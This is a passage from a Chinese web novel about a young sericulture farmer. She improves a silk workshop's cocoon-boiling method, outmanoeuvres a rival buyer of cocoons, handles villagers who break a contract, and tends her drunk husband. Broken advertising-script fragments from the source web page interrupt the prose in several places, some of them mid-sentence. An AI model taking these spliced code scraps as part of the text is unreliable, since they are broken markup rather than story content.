余晚桃去熄了烛火，钻进被窝里。 隔壁静悄悄的，一动不动，只有沉闷的呼吸声。 余晚桃伸手指出去戳了戳他:“就当我说错话了，二郎莫恼。” 崔玉棠往床里边躲开她的手。 “我都道歉了，你再气可就是使小家性子，没有书生风度，你白读圣贤书。” 空气静了半响，余晚桃便感觉到身旁有人缓缓靠近，挨着她的肩膀，很小声地辩解:“我没生气。” 38. 锦庄上门 夜里冷嗖嗖的，余晚桃一觉醒来便觉得喉咙有些干痒，本以为是渴的，结果喝了碗温开水，去桑园摘完桑叶回来，整个人都有些虚脱，喉咙愈发疼。 小细柳拿手背去摸她额头:“是不是着凉发热了？” “可能吧，我去五爷爷家抓两副风寒药。”，余晚桃有气无力地坐在板凳上，靠着门框，穿着厚厚的棉衣，吸溜鼻子。 小细柳给她倒了一碗热水来，拌了勺桂花蜜进去，她将人扶着进屋里:“你躺着休息，我去抓药。” “好吧。”，余晚桃被半强硬地按在床上盖好被子，只露出一双雾蒙蒙的眼睛:“我钱袋在桌上的妆匣里，你看着拿药钱吧。” 小细柳去把窗关严实，扭头对她说:“睡吧你，抓了药回来再说钱。” 她仔细掩上门，解下围裙扔到灶台边，小跑着朝余五爷爷家里去。 她这朝出了门不久，余贵家两口子就带着村长过来敲门了，不过院门锁着，里边静悄悄的，村长回头看了眼余贵。 余贵闷着脸不搭腔，没有要走的打算。 村长再看她媳妇，一脸憋气不服的样子，在心里重重叹了声，继续拍门。 “你们过来作甚？”，小细柳带着余五爷爷过来，见人堵在门口，眉头深锁。 余村长朝余五爷点点头，问小细柳:“我们找桃子有些事，家里没人？” “桃子在家，不过身子不舒服，我这不是请了五爷过来看嘛。”，小细柳开了院门，将余五爷请进来。 余五爷背着药箱，慢慢走进去，目光落在余贵夫妇身上:“你们过来做什么？” 余贵媳妇刚想开口，就被余贵一眼瞪了回去。 余贵搓着手，说:“其实就是有些小事想找桃子商议一下，既然她身体不适，那我们改日再过来。” “谁知道是不是真的病了啊，没准是装病故意躲着我们呢。”，余贵媳妇小声啐了一句。 余五爷脸色严肃:“别以为我不知道你们心里那点心思，劝你们收敛些，还有你——” “身为村长，带头欺负自己族里的小辈，说出去也不怕丢人。” 余村长被说得羞愧，他呐呐道:“余五叔……” “行了，都走吧。” 余五爷板着脸将人赶走，跟在小细柳后面进了屋。 余晚桃其实也并未睡熟，她没想到小细柳会把余五爷爷直接请过来了，见人进了屋，她撑身而起，靠坐在床架边。 乖巧喊人:“五爷爷，我其实就是着凉了，抓服风寒药喝就行，这天儿冷得紧，怎么还劳您专门跑一趟。” 余五爷在床边的高脚椅坐下，药箱搁到脚边:“最近天气骤然转凉，村里好些人都发了高热，我得看看情况才好抓药。” 余晚桃瞬间懂了，一般换季都会有流行性的风寒，严重些的会有传染的可能。 余五爷让她伸手出来，闭眼切了会脉，才收回手枕，面上松了口气:“底子倒是养回来了，这次风寒不严重，喝两剂药，再发发汗，多走动走动就没事了。” 他把药箱背起，叮嘱道:“平时多吃些补气血的干枣子、红糖、猪肝这些。” “哎，谢谢五爷爷为我费心了。” 余晚桃这一风寒，也不知该说好不好，病了几日，余贵夫妇和余村长都没再上门，许是顾忌着那日五爷爷的态度。 五爷爷是村里族老，又是唯一的村大夫，说话还是有些分量的。 她落得清闲，窝在平日崔玉棠写字的案榻上，吃着干枣子，一日三餐被小细柳拘在屋里解决，早上猪肝粥，中午晚上就是红枣鸡蛋汤、红枣瘦肉汤。 托人去县里买的一大袋干枣子，顿顿都不落，平时还当个零口吃。 眼瞧着病好全了，余晚桃也有些歇不住了。 新砌的屋子已经装上木门，地里的白菜和红薯还等着挖回去，蚕舍里的蚕也到五龄期了，每日需要进食大量的桑叶，光靠小细柳来来回回就得跑许多趟，何况家里还有其他的活计。 喝完最后一副药，余晚桃面色比没生病前还要红润些，被小细柳照顾得密不透风的。 “今儿把地里的白菜和红薯都收回去。” “锄头，镰刀，竹筐都拿了。”，小细柳把外边新买的棉衣换了下来，穿上耐脏的旧衣服，扛着锄头往地里去。 两人来到后院菜地。 白菜外边的老菜帮子被冻坏了一些，割的时候需要把外面那层剥下来，扔到一边拿去喂鸡，里面就是结实喜人的大白菜，大些的一颗估摸着有十多斤。 余晚桃拿着镰刀，从菜地外边开始收割白菜，满一竹筐就背进屋里放好。 小细柳在另一边挖番薯，先将上面的干藤扯去，然后寻着一个个的坑挖过去，一颗番薯藤根，能翻出四五个大小不一的番薯来。 “这批番薯种得好，你看个个都是大的。”，小细柳毫不顾忌沾满泥巴的双手，拎着一串番薯举高，脸上洋溢着丰收的喜悦。 余晚桃抱着一颗大白菜，也跟着笑:“我们今晚就焖番薯饭吃，再炒碟酸辣白菜。” “行！” 小细柳心潮起伏，激动地挥舞着锄头，挖起番薯来更有劲了。 庄稼人，一年到头，也就丰收的时候最开心了。 两人忙得热火朝天的，前院冷不丁地传来呼喊声，余晚桃把镰刀搁到一边，绕过屋檐走到前院去，就见竹篱笆外站着一个小厮模样的人。 “余娘子，我是县里锦庄的，我们张管事找您有事，可能进院里聊一聊？” 余晚桃走过去开了门:“管事可莫怪，我们家里正挖番薯呢，身上脏着，您先坐，我去洗个手。” 张管事笑容随和:“无妨无妨，说来还是我打扰了。” 余晚桃洗了手，转身去灶房沏了一壶茶。 张管事也不拘这些，自己倒了一杯热茶温着手，朗声道:“这次来找余娘子，主要是想请余娘子帮个忙。” 他喝了口茶，暖着整个肺腑，徐徐道出前来的目的:“我们布庄一位老缫丝师傅入了冬后不幸染上风寒，就这么去了。因为走得急，一时也找不到人代替她，现下庄子里许多布匹订单 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都积压着，缫丝工序又复杂，实在是赶不及了，这才想请余娘子过去帮忙，先支应一段时间。” “若能不延期出完积压的单子，我们东家必有重谢。” 余晚桃垂眸思索，片刻才道:“大概需要出多少斤蚕丝？” 张管事说了一个数，神色忧愁:“入冬之后一下来了许多蚕丝被的订单，我们东家不想错过这次机会，就多接了些，谁能料到会在这关头出了岔子。” 百斤左右的蚕丝，那生蚕茧就需要一千多斤，是个不少的数量。 “你们布庄目前有多少位缫丝师傅？” “十二位，平时都是老师傅带的，还有几个生手，刚来几个月，手艺差些火候。” 余晚桃有些为难:“我家里活多，也养着一批蚕呢眼下五龄期了，得精心照看着，离不得人。” “这点我们锦庄可以出钱找蚕农先帮你照顾着，我们这也是没办法才求到余娘子这来的，希望余娘子能认真考虑一下，工钱方面必定会让你满意。” 余晚桃垂下眼睫，喝了口茶，指腹摩挲着茶杯边沿，眼底闪过一丝算计。 这倒是个给千丝坊使绊子的好机会。 她扬起嘴角，爽快应道:“我答应帮忙，不过具体的希望能与你们东家面谈。” “当真？！”，张管事面露喜色，当即站起迫不及待道:“我们现在就可以去县里见东家，晚些再让小厮送余娘子回来也成，必不会耽误事。” “好，那管事容我换身衣裳。” 余晚桃去后院，寻到小细柳，叮嘱她注意着些蚕舍里蚕眠的时间，又把去向和回来时间说了，让她记着，若傍晚她还未回来，就去隔壁喊庆叔进县里找她。 小细柳咋都不放心，她拉住余晚桃:“要不我跟你一同去吧？” “不用，锦庄还算可信的。” 锦庄的东家是游子涧的好友，倒不用担心会有其他事。 余晚桃心里想着。 …… 锦庄名下的布庄在县里占了很大一片地，除了缫丝的，还有织布、织锦、染布和丝制品这些工坊，光是明眼能瞧见的帮工都有百十余人。 余晚桃跟着张管事去见了锦庄东家，祝忧。 祝忧身上有着与游子涧相似的气质，不得不说是臭味相投。 他歪着身子坐在大椅上，饶有兴趣地盯着余晚桃看，摇着折扇点了点漆红圆桌:“余娘子赶路辛苦了，要不要吃些东西再谈？” 余晚桃瞅着他，疑惑发问:“祝东家很……热吗？” 祝忧潇洒的脸上有些挂不住，他轻咳一声把折扇合起:“余娘子说笑了，这十月里的天又没地龙，怎会热呢。” “那看来祝东家酷爱风雅。” 余晚桃直直往圆桌边一坐，淡淡道:“具体的情况张管事已同我说过，依我个人拙见，贵布庄的缫丝工艺还有待改进，如果祝东家信得过我，我可以保证十日内把订单量完成。” 她微微一笑:“不过我有条件。” 祝忧坐直身体，正了脸色:“甚么条件？” 39. 缫丝工坊 从锦庄出来，余晚桃径直去了东街刘府。 眼下时辰还早，刘云被拘在闺房里绣嫁衣，得了余晚桃来探望，如蒙大赦一般扔了针线就跑，急得丫鬟们都在后头追。 余晚桃被请进偏堂吃茶，没一会刘云就跑过来了。 她红着面颊追问:“可是八合缘做好了？” 余晚桃与她点头，笑说:“做好了，你明日可托人去取回来，看看还有哪里需要修改的，让人通知我，我再过府来。” “我信得过你的手艺，你做的必定合我心意。” 刘云歪歪坐在椅子上，撑着下巴有些惆怅:“晚桃姐姐，你出嫁前心里害怕吗？现距离迎亲的日子愈近，我心里就愈是空落落的，想着要嫁到府城去，人生地不熟的，还离爹娘这般远。” 她出嫁前啊？ 余晚桃眼里闪过一丝回忆，应该是期待的吧。 那时候一心想着逃离舅舅家，期待到崔家里，能过上吃饱穿暖的好日子，只是世事难料，崔家被抄，她的咸鱼梦破碎了。 如今细细想来，竟觉得十分遥远了。 “府城到县里坐马车也就几日功夫，算不得太远的，云姐儿莫要乱想，安心待嫁便是。”，余晚桃只能斟酌着劝。 毕竟这朝代父母之命，媒妁之言的盲婚哑嫁，不是她能左右的，女子的命运，只端看嫁的是不是个良人，自己难以左右。 她看看外面天色，站起来告辞道:“我也该回去了，我在锦庄找了一个差事，明日一早应是不在家了，你若去取八合缘，到了找细柳姐就成，我会先同她叮嘱好的。” “嗯，也好，那晚桃姐姐你慢走。”，刘云让丫鬟将人送出去。 余晚桃回了家，把剩下的碱全都打包好，并让小细柳这几日得了空多煮一罐子留着备用，又将明日刘府要来人的事告知她，托她好生招待。 翌日一早就坐牛车去县里，直奔锦庄名下的布庄。 她与张管事提前约好了，二人一道往缫丝工坊过去。 缫丝工坊都是女工居多，瞧着三十多的妇人面相，抬着一筐筐的生蚕茧进去，见到张管事都停下来问好，对张管事身边的生面孔很好奇。 “余娘子，昨儿您说了改进缫丝工艺的事，可有了章程？” “自然。”，余晚桃随他一同进去，就见宽阔的工坊内十几座缫丝架，小屋廊过去还有着许多口大锅，工人在忙活着烧水。 余晚桃大概了解过锦庄的缫丝工艺，生茧加入一种草木藤汁液煮透，再反复清洗，去蛹，再煮再清洗，这个过程需要耗费大量的时间，才能将蚕丝煮透，达到丝绸的柔软度。 从这一步开始，后面会用缫丝架的娘子们就很擅长，做起来速度很快。 张管事将工坊内的人都聚到一起，简单给余晚桃做了介绍，转而对其他人道:“这位是余娘子，我们东家从外面请来帮忙赶工的缫丝师傅，大家伙这几日都听余娘子指挥，有甚么事再找我。” 话音刚落，工坊内的人纷纷交头接耳。 毕竟余晚桃看着实在是太年轻了，不太像个能主事的。 等张管事一走，其他人都没动，在暗暗观望着。 余晚桃缓缓一笑，声音清亮:“论起缫丝手艺各位娘子必定是比我有经验的，东家请我过来，也算是协助大家，把这些积压的蚕茧都处理了，接下来我会给大家分成几组安排工作，有甚么问题等会都可以提出来。” 从煮茧开始，到最后缫丝，以她简化的工序来分配，最后的缫丝是需要安排最多人手的，而清洗则其次。 缫丝娘子有十二人，余晚桃便将这十二人挑了出来，其他两人煮茧，三人清洗。 “余娘子——”，被安排到清洗的人站出来，为难道:“这些蚕茧需要反复清洗多次，三个人哪里忙得过来。” “不用反复清洗，从煮茧这一步开始，我来改进，大家都各自忙去吧。” 余晚桃让负责煮茧的两人去抬蚕茧，十几口锅同时烧水，倒入生蚕茧后她往每一口锅中撒入适量碱，盖上锅盖掐着时辰。 盯着簇簇升起的火苗，余晚桃目光逐渐游移，想到村里的蚕农。 这次跟锦庄合作，是将自己缫丝法子里最关键的一步透露出去了，碱的制作方法虽不难但现下能想出来的人应是没有的。 她这个法子迟早都会透露出去，只是得找到一个利益最大化的时机。 届时村里，锦庄的问题，都能一次性解决。 “余娘子。”，一灰衣娘子打断了余晚桃的思考，笑呵呵地过来搭话:“你刚才加进锅里的是什么？像是甚粉末，这样煮有啥作用啊？” 余晚桃定定看了她一会，才说:“可以使得生蚕茧更快软化下来，等煮好之后只需要清洗一遍，便能上缫丝架取蚕丝。” “一遍？！恁厉害，真的假的啊。” “等会煮出来便知真假了，你们在布庄上工，一月能有多少工钱？”，余晚桃好奇地问。 灰衣娘子回:“这分工不同，工钱也不一样的，像那些缫丝娘子手艺了得的，一个月能有一两多银子，我们这些煮茧洗茧的苦力活，一月工钱就五六百文。” “五六百文也不错了，一年下来能攒不少银子。”，余晚桃感慨。 “大布庄就是阔气些，我以前在千丝坊那边上工，一月才二百文。”，灰衣娘子嗐了声，翘着声音道:“我们这好几个缫丝娘子都是我从老东家那边挖过来的，赚了银子后可感激我了。” “……” 余晚桃哈哈笑:“千丝坊没找你麻烦？” “我偷偷挖的人，能让他知道！” 余晚桃打心底里佩服:“千丝坊那边怕是气得够呛。” “谁管他，哎余娘子你是在哪上工的？要不要也来锦庄，我们东家对手底下的人可好了，听说还是府城来的大户公子，有家底，断断不会拖欠我们的工钱。” 还真是时时刻刻都不忘挖人…… 看来锦庄同千丝坊积怨也不小，难怪她说要合作大量收购千丝坊那边的蚕茧渠道，那祝东家答应得这般快，原也是有利可图。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 余晚桃同灰衣娘子打探了一些千丝坊内部的消息，瞧着煮茧的时间快到了，她才拍拍裙摆站起来，让人过来捞茧抬去清洗。 那名灰衣娘子就是负责清洗的，滚烫的茧经过翻煮后软趴趴的，冒着升腾的热气，倒进盆里冲上凉水，她拿手一掐，瞳孔倏地震住。 这蚕茧，竟真是完全贴合了丝绸的柔软度，不用再进行第二次蒸煮，且泡在水里的蚕茧轻轻搓洗过水，便会透出雪白的质地来，表面暗黄的杂质轻易就能洗去。 这得加的甚么神仙物儿，有这般惊人的作用。 “快些洗，洗好了送到缫丝房去。”，余晚桃抬着桶过来，催促她们。 灰衣娘子猛的抬头:“余娘子，东家定是花了大价钱请你来的吧，竟这般厉害！” “可莫打趣我了，不过是乡里人家的一些土法子。”，既是来帮工，余晚桃便不好只是干站着支使人，等第二批蚕茧下锅后，她依次加了碱进去，便去了缫丝房里，同那些娘子一起缫丝。 工坊里大家伙分工合作，一络接一络的蚕丝放进箱子里，抬去织布工坊那边。 今儿头一日，余晚桃忙得够呛，傍晚下了工，瞧见张管事往工坊这边过来，她将今日的产量册交上去便走了。 锦庄虽给钱大方，但为着赶工，也着实忙。 不过忙过这遭，买铺面的钱应该就有盈余了，到时重新装修，购置原材料等人工费这些都得花钱，另外还要留些现银用来周转。 这么算下来，除了买铺子的一百两预算，起码还要多备五十两银子。 如今家里除了一百二十两整银，其余只有七八两是家里吃穿用度的，这里面包涵了买铺子的钱、二郎明年的束脩，以及冬伐要划出来的人工费，还有过年需要采买的年节礼和年货。 十月底的蚕茧还得留下来，以做开店第一批绒花品的原材，这就意味着年底会少一笔收入，而支出却是大大增加的，如此一算算，当真是赚钱难。 余晚桃幽幽叹了一声，便回家去。 接下来几日顶着愈发寒冷的天气往来县里和村子，风雨无阻，忙过小半旬，终于将锦庄积压的单子全部赶出来。 锦庄也按照承诺，给了她八两银子。 余晚桃拿了自个的工钱，去前头揽客的铺面找张管事，瞧见门庭若市的盛景，她笑了笑，从后门进去找人。 张管事这会忙得晕头转向的，见她过来，才将算盘扔给旁边的小厮，从人群里脱身出来。 “余娘子，这朝怎过来了？” 余晚桃看着陆陆续续进来卖蚕茧的蚕农:“千丝那边没动静？” “怎可能没动静，自从我们放消息出去，要以三十五文价大量收购蚕茧后，县里大部分蚕农都到我们这来了，千丝坊那边估计是着急，也提高了收购价，不过比不上我们锦庄的家底丰厚，没几天就顶不住了。” 如此一来，锦庄蚕茧的库存量就大大超出了实际丝绸订单的需求。 而在她与锦庄的合作里，这批超出来的蚕茧，才是重点。 40. 冬收蚕茧 —— “废物，连一个新开的布庄都对付不了！” 千丝坊东家一掌将茶盏拍到角落里，碎片绽了一地，滚烫的茶水溅到千丝坊管事的手上，他却不敢动弹，默默承受着怒火。 他哆哆嗦嗦地站着，给东家赔笑脸:“那锦庄在府城有产业，三十五文一斤大量收购蚕茧，根本没有露出一点饱和的意思，我也没辙了啊，那些蚕农全跑锦庄去了。” “锦庄哪里来的订单量？需要收购这么多的蚕茧，这事去查了吗？” 管事耷着肩膀，苦着脸道:“早就去查了，他们铺面里散客采购布匹这些都正常，至于其他的，就是接了挺多绸缎铺丝绸布匹的批量单，和隔壁县以及本县富户年关采购蚕丝被的单子。” “但我算了算，哪怕是这些订单全部做完，都用不到这么多蚕茧的。” 千丝坊东家表情难看:“有没有可能是府城那边的订单？” “有可能，锦庄在府城有三大铺面，老客源极多。” “不管用什么法子，都给我把蚕茧的采购量补足！”千丝坊东家眼底闪过阴戾之色，他冷漠盯着管事:“要是把事情办砸了，你就直接卷铺盖滚蛋。” 管事走出茶室，面色惨白，眼下铺子里每天只能收到一些散卖的蚕茧，五百多斤，他要去哪里补足？ 收购价又打不过锦庄，他拿什么补足？ 管事沉着脸，将手上的算盘砸到地上，发出一声巨响，惊得路过的小厮忙低下脑袋，瑟缩着肩膀绕开那处走，生怕被拿来出气。 “管事，外面有人找。”，一小厮跑过来，小心翼翼地禀告。 管事皱起眉头，不耐道:“没空见！” “可那人是大桑村的蚕农，说不定是过来卖蚕茧的。” …… 十月底是大桑村最后一批蚕收茧的日子。 余晚桃在被窝里缩着脑袋，眼皮子上下直打架，胳膊一伸出去就被外面的天气激得汗毛竖起，冷冰冰地冻着薄薄一层皮肤。 在这种天气里早起，实在是折磨人。 “桃子，快起来吃朝食，我煮了番薯粥，热乎着。”，小细柳活力满满的声音自屋外响起，催促着她起床。 今日得收茧。 余晚桃硬着头皮起来，裹着厚厚的棉衣出去打水洗漱。 小细柳坐在灶膛边的小板扎上烤着火，喝番薯粥，“锅里烧有热水，别用冷水洗脸啊。” “哎，这天可真冷，怕不是要下雪了。”，余晚桃迷迷糊糊地揉着眼睛，从锅里舀热水出来洗脸。 “早着呢，起码到年底前半个月，才会下雪。” 洗漱完，余晚桃和小细柳挤在一个灶膛前烤火喝粥，这番薯粥滚烫热乎，带着淡淡的甜味，晨起喝上这么一碗，浑身都暖和了。 “我还烤了两根玉米。”，小细柳放下碗，拿火钳将灶膛里烤得焦香的玉米夹出来，随便吹了吹灰，也不顾着烫手，就龇牙咧嘴地吃了起来。 她们家没有种玉米，这会屋里几大筐都是拿番薯跟林小秋家换的，刚砌成那阵屋里还空落落的，现在里面里堆满了柴火和过冬的吃食，干货。 人看着心里都有底，今年冬天家里不愁吃喝了。 余晚桃喝完番薯粥，又吃了根烤玉米，一整个冬夜里睡出来的懒劲都散了，干劲满满地起身去收蚕茧。 蚕茧收回去之后余晚桃也不急着把蚕丝缫出来，歇息片刻便着手准备贺礼，明日云姐儿出嫁，早前刘府也给了她一张请帖，嘱咐她定要去喝杯喜酒。 县丞府邸，往来的应都是县里富户，小官，她这送礼便不能太简单，随礼金也得仔细斟酌。 只是眼下家里的钱得省着用，所以在送礼方面，只能取一个“巧”字了。 翻到箱笼底，余晚桃把里面的钱匣子捧出来，打开后将数好的十两银子放进去，余光落到旁边的翡翠盒上，她动作轻柔地抚了抚盒子表面的雕刻图纹，拿出里面的镂空金镶玉小球仔细端详。 不管是翡翠盒，还是这枚小球，做工都十分精细，不似凡品，镂空的小球内似乎还装着什么东西。 她忽地想起崔夫人上囚车前望过来的那种眼神。 绝望、哀求、无奈，不舍。 那是一个母亲对孩子深沉的爱意。 她把小球放了回去，重新归置于黑暗中，藏到箱笼最底层。 从屋里出来，余晚桃将蚕舍里所有的用具都搬到院里，冲洗晾干，蚕舍也彻底打扫一遍，撒上石灰防蛇鼠虫蚁。 “桃子，你家蚕茧收完了？”，丁婶站在竹篱笆外，手里抓着一把菜心，远远地冲她笑。 余晚桃放下脏水桶，哎了一声:“都收完了，婶子家的收完没？” “昨晚就收回去了，等着下午锦庄的人过来点货呢，你这批蚕茧还是不卖的吧？” 余晚桃摇头，走到竹篱笆边，双手抓着竹片，神色有些复杂:“婶儿，村里人都还肯直接把蚕茧卖给锦庄吗？” 丁婶闻言，眉毛一横，啐道:“还敢违约不成？你可别理村里那些人的闲言碎语，该赚多少钱就赚，婶儿也不会眼红你的，你担心啥。” “婶儿说的哪里话。”，余晚桃认真道:“我是有打算把缫丝法子教给村里人的，只是前阵子村里人的做法，着实寒心，便犹豫了。” “你自己的本事，教谁不教谁都由你自己决定，别受旁的影响。”，丁婶宽慰她。 “嗯嗯。” 余晚桃定了神，心里有些惴惴不安的，总觉得村里人不会这么安分地遵照契约去卖蚕茧。 果不其然，锦庄下午来村里收蚕茧，好几户人家都拿不出来，一问才知道是以四十文的价格卖给千丝坊了。 四十文，比锦庄的价高了五文钱。 问题是千丝坊甚么时候这般大方了？ 先前只肯给二十五文收购，还挑挑拣拣的。 村里勉强也只能凑够四百斤，离契书上的最低量还差一百斤，到最后只能余晚桃把家里的蚕茧分出一百斤来，把量补足。 经此一遭余晚桃得了教训，让村长当着众多蚕农的面与锦庄断了下一年的合作，不想再当这烂好人。 锦庄的人走后，村里人哗地一下闹开了。 “你们几家真卖了四十文一斤？” “那是，还是千丝坊管事亲自接待的，都私底下告诉你们了，别卖给锦庄，偏不信。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你们这是在害村里人！要是锦庄的人追究起来，谁赔得起违约的银子！” “反正又不是我们牵头起的契书，要赔钱也不是找我们。” “有人倒是好算计，自己卖蚕丝赚钱，让我们签契书只卖蚕茧，才卖个三十多文一斤。” “够了！”，余村长沉声喝住起争执的几人，眼里是实打实的失望，同锦庄的契书是他代表村里人签的，这些人得了便宜，全然不顾他要承担的后果。 还将过错推到最是无辜的人身上。 “当初你们被千丝坊的压价，蚕茧卖不出去，是桃子给你们找的门路，后来同锦庄签契书也是你们同意的，现在却闹成这样！” 余贵看了村长一眼，怨声道:“家家户户都指着卖蚕茧的银子过活，违约一事我们也是被逼无奈，谁让千丝坊的给价高呢。再说了我们家的情况您也知道，前些日子连桑叶都得去外村买，花了好些冤枉钱，若按三十五文卖出去，根本没得赚。” “谁家不是指着卖蚕茧的银子过活，就你家难吗？这是私自违约的理由吗！”余天庆忍无可忍，大声回怼他。 余贵媳妇扯着嗓子，阴阳怪气道:“谁家里不缺这点银子谁知道啊，反正我家没有卖蚕丝得了一百多两银子。” “余贵家的你甚么意思，桃子家里卖不卖蚕丝，赚多少银子，那是桃子自己的本事！她不偷不抢的，碍着你甚么了！” “我又没指名道姓，你急着出来给她辩什么？莫不是收了多少好处不成！” “你！”，丁婶气得胸腔火起，真不知这人怎么能厚颜无耻到这个地步的。 “婶，算了。”，余晚桃懒得争执。 她拉住丁婶胳膊，淡淡扫了那私自把蚕茧卖给千丝坊的几户人家，说:“同锦庄的合作自此也结束了，各位以后要卖谁家都是各位的自由，我也不会过问。” “不过有一事我需要通知下大家，就是桑园明年不会再租出去了，把蚕茧卖给千丝坊的几位叔伯都有自己的主意，想必也不用来问我关于桑树培育种植的方法了吧。” “桃子你这话甚意思？明明之前说好了要教我们的。”，有人不满。 余晚桃摊手:“你们连签了契书的事都可以不遵守，那我这个口头话，更不作数了吧。” “别跟他们费口舌了，这头摔了碗那头还想舀饭吃，脸皮子怕不是比棺材板还厚。”，丁婶狠狠朝那边啐了一唾沫，拉着余晚桃扭头走了。 丁婶着实是被气着了，回去好一通骂，尤其是余贵家的婆娘，迎风骂出二里地。 余晚桃都怕她气撅过去，给她倒了碗水喝，劝她:“何必跟他们置气呢，平白把自个身子气坏就不值当了。” 丁婶叉着腰:“我是没见过恁不要脸的人。” “不管他们就是，那千丝坊不是个好相与的，肯出高价收定有猫腻，明年不可能有这个价了。他们又得罪了锦庄，锦庄定不会再收那几户人家的蚕茧。” “明年头批蚕茧，他们怕是很难卖出价了。” 余晚桃其实大概能猜到一些，千丝坊高价收蚕茧，就是被锦庄大量收购的举动给逼出来的，多半是为了出之前接的布匹订单。 41. 冬笋鲜肉面 事情到这步余晚桃倒是看开了。 她将煮茧到缫丝的步骤写到纸上，并附加了碱的制作方法。 原是打算先将法子给村里人，让村里赚了第一笔银子，再同锦庄交易的，现在想来，做生意在不触及底线的情况下，还是得以利益为先。 之前是她优柔寡断了。 余晚桃把纸张小心折好，放进随身佩戴的荷包里，准备明日去吃云姐儿的喜酒时，找锦庄东家聊聊。 慢慢揉着手腕走出屋，余晚桃忽而记起今儿是崔玉棠旬休回家的日子，她望着远处层层叠叠的山峦，太阳西斜，天边火烧云翻涌着。 “往常这个时辰早就到家了。”，余晚桃将院门打开，看着寂静的村道，有些担心。 小细柳端菜出来:“别站门口吹风了，快过来准备吃晚饭了，没准二郎有事耽搁了呢，我在锅里留了饭菜热着，等晚些要还没回来，就去村长家借牛车去县里接人。” 余晚桃往手心里哈着热气，把一边门掩上用石头堵住，回去吃晚饭。 桌上是大海碗的冬笋肉片汤和韭菜炒小虾米，还有一道白菜豆腐汤。 这时节正是吃冬笋的时候，脆嫩鲜甜，比春笋要更有味道，余晚桃喝了一口汤，夹了一筷子冬笋吃，眼睛幸福地眯起。 她一时起劲，眼睛亮亮的:“细柳姐，我们后天去竹林里多挖几筐冬笋回来晒笋干和腌制酸笋吧。” 小细柳扒了口饭:“明天我就能去挖了，用不着后天，现在蚕茧收了，地里的活计也做完了，时间多着。” “明天没时间，我和二郎要去县里吃云姐儿的喜酒。”，余晚桃忽然想起一事，“对了，明儿记得托庆叔帮我们问问，这两天谁家里有空，我们出三十文一日请些帮工来帮忙冬伐。” “要请多少？” 二十多亩桑树冬伐，怎么也得十多人吧？而且砍完之后还要将根部包上干稻草防寒。 她斟酌道:“就先请十五人吧，包一顿午饭。” 争取一天砍完。 冬笋肉片汤确实是合口味，余晚桃就着笋汤比平时多吃了一碗饭，她打了一个闷嗝，忽闻身后传来推门的声音，她扭头看去，却见是一个陌生汉子背着个人。 余晚桃一下站了起来。 那陌生汉子仰起脸，露出一抹憨笑:“我是陈府里的下人，表少爷今儿在府里设宴款待同窗，崔郎君吃酒猛了些便醉过去了，表少爷托小的将崔郎君送回来。” 当真是一股冲天的味，满个身儿都是酒气。 余晚桃让他帮着将人送回屋里，安置好后将人送出去，转身去灶房里打了盆热水进屋，瞧着床上安安静静酣睡着的书生，心里有些气。 去与同窗吃酒也不提前托人回村里知会一声，平白教人担心，自个却喝得醉醺醺的回来，还要人伺候。 她一把将拧干的热毛巾扔到对方脸上。 崔玉棠咕哝一声，连眼皮子都未睁开，竟无意识地自己抓着毛巾胡乱擦拭俊秀的脸蛋，一点儿都不知道爱惜，白皙的脸皮都被搓出红痕来。 余晚桃把毛巾抢了过来，替人轻轻擦了脸颈，把发带解下来扔妆匣里，外袍和冬靴都脱了，再给人推到床里侧去盖上棉被。 恰时门外响了几声，得应后小细柳推门进来。 她端了碗解酒姜汤来，细声询问:“要不把人喊起来喝点解酒汤？不然明儿起来怕是得头疼，你们早上不是还得去吃喜酒嘛，可别耽误了。” 余晚桃没好气地拍了拍被面:“瞧睡得多死，哪里喊得起来。” “那这汤？” “先搁那吧。” 小细柳把解酒姜汤放到床边的书案上:“可得趁热喝，再多喊喊，没准就醒了。” “嗯嗯，豁冷的天，你也快回去睡吧。” “不急，我把灶房收拾一下，锅里用老柴结热着水，夜里若是渴了，就去锅里舀热水喝，别碰冷水。” 小细柳叮嘱着，悄声退出去，把门关上。 余晚桃轻轻呼出一口气，就着盆里的热水泡了脚，脸颊和双足都被热水烘得红通通的冒着暖劲，她也懒得再出去倒水，吹冷风了，将水盆挪到一边，就脱了棉衣，钻进被窝里。 旁边吃了酒的崔玉棠身上散发着阵阵热意，宛若个现成的暖炉子般，余晚桃也不客气，连手带脚地摸过去抱着人，把脸埋进对方滚烫的颈窝里，汲取着暖意。 如此一觉睡到天明，余晚桃从朦胧的睡意中扒拉出点理智来，察觉到里衣内，腰侧软肉上被重物压着，她觉得有些不对劲，一抬头，就对上双清明的眼眸。 崔玉棠不知甚么时候醒了。 那重物，正是他的手臂。 而掌心已经搭下去贴着她的腹部了，指尖还绕着肚脐眼轻轻画圈。 余晚桃觑着他，面无表情:“以后再去吃酒醉醺醺的让人抬回来，你就睡柴房吧。” 甚么旖旎氛围，暧//昧早晨，在余晚桃这通通都不存在，她用力将腰上那只手拿开，起身穿衣。 “……”，崔玉棠呆呆跟着坐起来。 卷翘的鸦羽轻颤，浓黑的长发柔顺似绸披散在身前，崔玉棠沉浸在肌肤相贴美梦里的那根神经终于回归大脑。 他呐呐应声:“哦。” 崔玉棠揉揉眼皮:“刚才我……” “嗯？”，余晚桃系上棉衣盘扣，把头发盘起来，抽空回头斜他一眼:“快些起来准备，今儿要去刘府吃喜酒。” “这就起了~”，崔玉棠拖着调子应她，语气里带着小小的失落。 “可觉得头疼？”，余晚桃起身去箱笼里，把新买的兜帽大氅取出来，挂到案榻上，留着等会出门时披。 崔玉棠穿着鞋袜，“是有些疼，但不碍事。” “该是你疼的。”，书案上那碗醒酒汤早就凉透了，她端起来凑近嗅了嗅，天气冷，倒不担心会嗖。 余晚桃出了屋去灶房烧热水，顺道将那碗醒酒汤回锅热了一遍，拿进屋里让人喝了。 崔玉棠喝完醒酒汤，呆坐了片刻，把换下来带着酒气的衣服扔进床边冷透的那盆水里，端着出去，从墙角那扯了块皂角蹲在院里洗衣裳。 余晚桃从锅里舀了半桶热水抬过去给他，笑眯眯地说:“我屋里还有一套换下来的没洗呢。” “我去拿来。”，崔玉棠识趣地回屋拿。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 